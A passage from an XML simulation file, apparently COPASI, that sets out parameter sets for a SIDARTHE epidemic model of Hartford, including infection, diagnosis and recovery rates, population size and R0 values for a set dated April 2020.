<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE]" value="2.0000025804799999" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART]" value="2.0000025804799999" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1]" value="2.0630035372998008" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2]" value="2.0630035372998008" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3]" value="2.0796847746611862" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4]" value="0.5097438386972144" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5]" value="0.16785234611674327" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0]" value="1.2420157515561079" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop]" value="7.0992861856868989e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop]" value="7.0992861856868979e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop]" value="1.4198572371373798e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop]" value="3.5496430928434495e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x]" value="0.99999999669999995" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x]" value="0.84651724406049422" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases]" value="2.789969980265699" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed]" value="0.037101991738917171" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction]" value="0.84651724126698724" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="7.0992861856868979e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="1.4198572371373798e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="7.0992861856868989e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="3.5496430928434495e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.20527336547231523" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.20527336547231523" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.03710189675806147" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.18485270607563919" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.18485270607563919" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.04285234611674326" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="1.8577301718274857" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="1.8577301718274857" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="1.8577301718274857" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.32489113262157515" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.125" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_0" name="Model3 - 4/27">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_0">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-26T12:39:26Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1.0000000000304734" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572663" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A]" value="1.0000000000375229" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" value="2.5246681233841226" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" value="0.50493362467682457" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" value="0.25246681233841228" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" value="0.12623340616920614" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta]" value="0.21111074995866533" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta]" value="0.21111074995866533" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" value="0.037813946362313181" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa]" value="1.8436391388622739" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda]" value="1.8436391388622739" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu]" value="0.20121746758778447" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu]" value="0.20121746758778447" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi]" value="0.36593958913329017" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho]" value="1.8436391388622739" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma]" value="0.12499999999982438" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau]" value="0.043520743395811579" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE]" value="2.0000000000679963" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART]" value="2.0000000000679963" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1]" value="2.0547498888209392" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2]" value="2.0547498888209392" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3]" value="2.0826705528123717" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4]" value="0.56715705672107464" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5]" value="0.16852074339563594" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0]" value="1.2415684574523242" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop]" value="7.0666242801497564e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop]" value="7.0666242801497556e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop]" value="1.4133248560299513e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop]" value="3.5333121400748782e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x]" value="0.99999997999374546" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x]" value="0.84709790473853197" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases]" value="2.7771333811516015" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed]" value="0.037813946363732066" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction]" value="0.84709788779127571" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="7.0666242801497556e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="1.4133248560299513e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="7.0666242801497564e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="3.5333121400748782e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.21111074995866533" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.21111074995866533" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
